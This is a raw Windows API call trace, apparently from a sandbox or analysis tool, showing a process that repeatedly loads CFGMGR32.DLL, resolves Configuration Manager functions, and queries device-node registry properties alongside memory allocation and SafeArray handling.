[0236.921] free (_Block=0x20abc286870) [0236.921] malloc (_Size=0x48) returned 0x20abc27cf80 [0236.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48fbc89b, dwHighDateTime=0x1d9eb0c)) [0236.922] SetEvent (hEvent=0x248) returned 1 [0236.927] malloc (_Size=0x18) returned 0x20abc281a80 [0236.927] SafeArrayPutElement (psa=0x20abbaf2460, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0236.927] free (_Block=0x20abc281a80) [0236.927] malloc (_Size=0x18) returned 0x20abc2819c0 [0236.927] SafeArrayPutElement (psa=0x20abbaf2460, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0236.927] free (_Block=0x20abc2819c0) [0236.927] malloc (_Size=0x18) returned 0x20abc281da0 [0236.927] SafeArrayPutElement (psa=0x20abbaf2460, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0236.927] free (_Block=0x20abc281da0) [0236.928] malloc (_Size=0x18) returned 0x20abc281fe0 [0236.928] SafeArrayPutElement (psa=0x20abbaf2460, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0236.928] free (_Block=0x20abc281fe0) [0236.928] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d6f0 [0236.928] SafeArrayGetDim (psa=0x20abbaf2460) returned 0x1 [0236.928] SafeArrayGetLBound (in: psa=0x20abbaf2460, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0236.928] SafeArrayGetUBound (in: psa=0x20abbaf2460, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0236.929] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0236.929] SafeArrayGetDim (psa=0x20abbaf2460) returned 0x1 [0236.929] SafeArrayGetUBound (in: psa=0x20abbaf2460, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0236.929] SafeArrayGetElemsize (psa=0x20abbaf2460) returned 0x8 [0236.929] SafeArrayGetElement (in: psa=0x20abbaf2460, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0236.929] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c70, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.930] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c78, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.930] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c80, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.930] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba79c88, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0236.931] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0236.931] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d6f0) returned 1 [0236.932] malloc (_Size=0xd8) returned 0x20abc284e70 [0236.932] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0236.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0236.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0236.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0236.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0236.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0236.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0236.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0236.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0236.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0236.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0236.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0236.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0236.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0236.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0236.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0236.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0236.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0236.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0236.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0236.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0236.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0236.937] malloc (_Size=0x18) returned 0x20abc2820c0 [0236.937] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0236.937] malloc (_Size=0x10e) returned 0x20abc286870 [0236.938] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0236.938] free (_Block=0x20abc286870) [0236.938] malloc (_Size=0x48) returned 0x20abc2ab270 [0236.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x48fd54eb, dwHighDateTime=0x1d9eb0c)) [0236.939] SetEvent (hEvent=0x248) returned 1 [0237.013] malloc (_Size=0x18) returned 0x20abc281f60 [0237.013] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0237.013] free (_Block=0x20abc281f60) [0237.013] malloc (_Size=0x18) returned 0x20abc281d20 [0237.013] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.013] free (_Block=0x20abc281d20) [0237.013] malloc (_Size=0x18) returned 0x20abc2819a0 [0237.013] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.013] free (_Block=0x20abc2819a0) [0237.013] malloc (_Size=0x18) returned 0x20abc281f60 [0237.013] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.014] free (_Block=0x20abc281f60) [0237.014] malloc (_Size=0x18) returned 0x20abc281a80 [0237.014] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.014] free (_Block=0x20abc281a80) [0237.014] malloc (_Size=0x18) returned 0x20abc282040 [0237.014] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0237.014] free (_Block=0x20abc282040) [0237.014] malloc (_Size=0x18) returned 0x20abc281d20 [0237.014] SafeArrayPutElement (psa=0x20abbaf1be0, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0237.014] free (_Block=0x20abc281d20) [0237.014] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c970 [0237.014] SafeArrayGetDim (psa=0x20abbaf1be0) returned 0x1 [0237.014] SafeArrayGetLBound (in: psa=0x20abbaf1be0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0237.014] SafeArrayGetUBound (in: psa=0x20abbaf1be0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0237.014] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0237.014] SafeArrayGetDim (psa=0x20abbaf1be0) returned 0x1 [0237.014] SafeArrayGetUBound (in: psa=0x20abbaf1be0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0237.014] SafeArrayGetElemsize (psa=0x20abbaf1be0) returned 0x8 [0237.015] SafeArrayGetElement (in: psa=0x20abbaf1be0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0237.015] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2290, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.015] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf2298, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.015] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf22a0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.016] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf22a8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.016] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf22b0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.016] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf22b8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.016] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abbaf22c0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0237.017] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0237.018] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c970) returned 1 [0237.019] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.019] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.019] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.020] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.021] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.024] malloc (_Size=0x18) returned 0x20abc2820c0 [0237.024] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.031] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x490ba55c, dwHighDateTime=0x1d9eb0c)) [0237.032] SetEvent (hEvent=0x248) returned 1 [0237.035] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.036] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.036] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.037] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.039] malloc (_Size=0x18) returned 0x20abc281b80 [0237.039] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.040] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x490e0930, dwHighDateTime=0x1d9eb0c)) [0237.040] SetEvent (hEvent=0x248) returned 1 [0237.044] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.044] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.048] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.048] malloc (_Size=0x18) returned 0x20abc282040 [0237.049] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.049] malloc (_Size=0x48) returned 0x20abc27cf80 [0237.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x490e0930, dwHighDateTime=0x1d9eb0c)) [0237.050] SetEvent (hEvent=0x248) returned 1 [0237.105] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.105] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.105] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.106] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.107] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.108] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.109] malloc (_Size=0x18) returned 0x20abc281bc0 [0237.109] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.110] malloc (_Size=0x48) returned 0x20abc27cb20 [0237.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x49178e47, dwHighDateTime=0x1d9eb0c)) [0237.110] SetEvent (hEvent=0x248) returned 1 [0237.118] malloc (_Size=0xd8) returned 0x20abc284e70 [0237.118] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0237.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0237.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0237.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0237.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0237.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0237.119] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0237.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0237.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0237.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0237.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0237.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0237.120] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0237.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0237.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0237.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0237.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0237.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0237.121] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0237.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0237.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0237.122] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0237.122] malloc (_Size=0x18) returned 0x20abc281b40 [0237.123] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x29, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0237.126] malloc (_Size=0x48) returned 0x20abc27cb20 